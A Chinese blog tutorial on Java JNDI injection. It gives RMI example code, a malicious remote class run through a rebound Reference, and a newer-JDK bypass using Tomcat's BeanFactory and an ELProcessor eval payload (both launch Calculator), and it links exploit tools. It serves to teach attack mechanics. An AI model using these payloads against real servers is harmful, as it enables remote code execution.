java-jndi注入

#JNDI注入
首先在前面大致捋一下基础知识,了解什么是JNDI什么是RMI,然后再讲解利用手法
##JNDI
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。

JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

简单点说,JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在RMI、LDAP、CORBA等等。

按照我的理解,JNDI就是提供用于针对不同的协议提供不同的查询方式的服务。
##JNDI+RMI
###RMI
RMI是java中的一种协议,类似于http,加了一个rmi头,java就会使用rmi的协议请求方法去请求
###JNDI+RMI服务编写
实现对象
创建接口:

package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}

实现接口功能:

package org.example;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {
protected IHelloImpl() throws RemoteException {
super();
}

@Override
public String sayHello(String name) throws RemoteException {
return "Hello " + name;
}
}

客户端:

package org.example;

import javax.naming.InitialContext;


public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
//创建上下文对象,并使用lookup函数进行调用查询
InitialContext initialContext = new InitialContext();
IHello iHelloobj = (IHello) initialContext.lookup("rmi://localhost:1099/hello");
System.out.println(iHelloobj.sayHello("aa"));

}
}

服务端:


package org.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class CallService {
public static void main(String[] args) throws Exception{

//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

// 创建初始化环境
Context ctx = new InitialContext(env);

// 创建一个rmi映射表
Registry registry = LocateRegistry.createRegistry(1099);
// 创建一个对象
IHello hello = new IHelloImpl();
// 将对象绑定到rmi注册表
registry.bind("hello", hello);

// // jndi的方式获取远程对象
// IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello");
// // 调用远程对象的方法
// System.out.println(rhello.sayHello("axin"));
}
}

##JNDI+RMI注入
我们首先让服务端重新绑定至恶意类

package org.example;

import javax.naming.InitialContext;
import javax.naming.Reference;

public class JNDIRMiServer {
public static void main(String[] args) throws Exception {
//创建初始上下文
InitialContext initialContext = new InitialContext();
// initialContext.rebind("rmi://localhost:1099/hello",new IHelloImpl());

Reference refObj = new Reference("T","T","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/hello",refObj);

}
}

然后这个T就是我们的恶意类:
只需要定义构造函数就行

import java.io.IOException;

public class T {
public T() throws IOException {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

}
}

此时,我们再访问这个rmi服务的时候,就会触发这个远程类了
接下来,我们跟进一下lookup函数调用的过程,看看其是如何调用远程类的,再经过多层lookup函数调用以后,会获取远程访问的类,这个时候就已经获取了我们的恶意类了

接下来就会调用loadClass加载这个类

加载完以后,使用newInstance实例化这个类,此时构造函数就会被触发了


可以发现,JNDI注入的关键点在于,lookup函数的内容可控
###高版本
在JDK 6u141、7u131、8u121之后,增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项。
那么此时我们就无法像前面一样,可以那么单纯的直接使用lookup函数进行命令执行了

此时就会直接抛出异常,导致获取不到远程类

那么如何绕过呢?
####高版本jdk绕过
仔细观察前面rmi流程,可以发现,其实是在namingmanager的地方获取恶意类的,而前面的限制也只是存在于禁止远程访问而已


可以发现上面if有三个条件判断

  • 其中第一个判断的r需要不是引用对象,我们从远程对象引用的基本就是引用对象了,这里就不太有操作的空间
  • 而第二个通过函数返回了下面远程地址的值,如果这个是null的话,也会绕过,如果对应的 factory 是本地代码,则该值为空,这是绕过高版本 JDK 限制的关键
  • 第三个就是默认的参数,只能自己配置
    所以我们只需要找到一个本地的factory,触发至这个namingmanager即可

从第二个方法入手,这里我们需要关注getFactoryClassLocation函数:返回classFactoryLocation属性

而这个属性本来是null值

在下面构造函数过程中被传入

那么我们这里的Location要不传值,就只能利用本地了,那么就找找本地有没有利用的factory
跟进一下NamingManager.getObjectInstance方法
关注这部分代码,可以发现这里会执行factory这个类的getObjectInstance方法

所以我们首先需要找到一个类并且可以执行getObjectInstance方法,除此之外,这个类还需要实现ObjectFactory这个接口,才能使用getObjectInstance方法

根据前面的分析,总结一下我们需要

  • 寻找目标本地的工厂类
  • 该工厂类需要实现javax.naming.spi.ObjectFactory
  • 存在一个getObjectInstance()方法

这里说一下如何找到的,首先我们知道需要实现ObjectFactory接口,所以直接用idea打开看看,直接找到这个借口,然后点击旁边的小标志就可以

在Tomcat8的依赖包中org.apache.naming.factory.BeanFactory就满足上述条件,首先实现了javax.naming.spi.ObjectFactory,并且存在getObjectInstance方法,可以反射执行

接下来就是构造payload:
1.首先观察第一个判断,其必须属于resourceRef类的实例化对象

获取类名以后,会对其进行实例化,并且需要关注的是此处为class.newInstance,而不是使用construcot来进行newInstance,所以这里是无参构造方法,再往下审计,可以发现

这里会获取forceString字段,而这个字段是从resourceref类中的refaddr获取到的

在这里获取到forceString的值

分为两部分,contents和addrtype,其中addrtype是我们需要传入的执行的函数

其中addrtype是我们需要传入的执行的函数

首先会定位,是否含有=号,如果有的话,会将后面的值作为setterName的值继续向下传递,在这里setterName

会作为后面beaClass要获取的方法,而paramTypes则是String.class,也就是说这里传入的参数是String类型的

再往下,可以看到这里做了一个判断,传入的refaddr中,如果不为里面的内容如forced,则会进入到接下来的代码中

获取这个参数的content

再往下,会获取这个参数的method

并将前面获取的这个参数的content作为要执行的值,最后invoke反射执行

分析完前面的流程,我们可以总结一下:
首先传入一个resourceRef类,其factory选择org.apache.naming.factory.BeanFactory,而要调用的恶意代码执行类需要满足

  • 无参构造
  • 有能够执行String类型参数的方法
    除此之外,在传值的过程中,根据前面的分析,在RefAddr的参数构造过程中,我们需要构造出如下格式
    force x=(function)
    x param
    而满足上述恶意类的要求中,我们可以选择javax.el.ELProcessor,并使用eval来执行String类型的命令

1.首先先构造一个ResourceRef类,然后其中传入我们能够无参恶意类,这里的参数构造,我们可以直接看其构造函数就可以知道为啥要这样传入了

ResourceRef ref = new ResourceRef("javax.el.ELProcessor",null,"","",true,
"org.apache.naming.factory.BeanFactory",null);

2.传入refaddr参数
使用其add方法

ref.add(new StringRefAddr("forceString","x=eval"));
ref.add(new StringRefAddr("x","Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')"));

因为要使用 javax.el.ELProcessor,所以需要 Tomcat 8+或SpringBoot 1.2.x+
小结:
由于使用的是javax.el.ELProcessor类,所以是需要有tomcat8及更高版本环境下通过该库进行攻击

工具:
使用 https://github.com/welk1n/JNDI-Injection-Bypass,放在服务器上启动一个恶意 RMI Server
https://github.com/mbechler/marshalsec

##JNDI+LDAP注入
使用LDAP协议同样也可以实现jdni注入
###低版本JDK运行
在低版本的jdk中,过滤了rmi协议以后,依旧可以ldap来进行绕过
不同的是,LDAP服务中lookup方法中指定的远程地址使用的是LDAP协议,由攻击者控制LDAP服务端返回一个恶意jndi Reference对象,并且LDAP服务的Reference远程加载Factory类并不是使用RMI Class Loader机制,因此不受trustURLCodebase限制。

Author

vague huang

Posted on

2023-01-20

Updated on

2023-02-10

Licensed under

Comments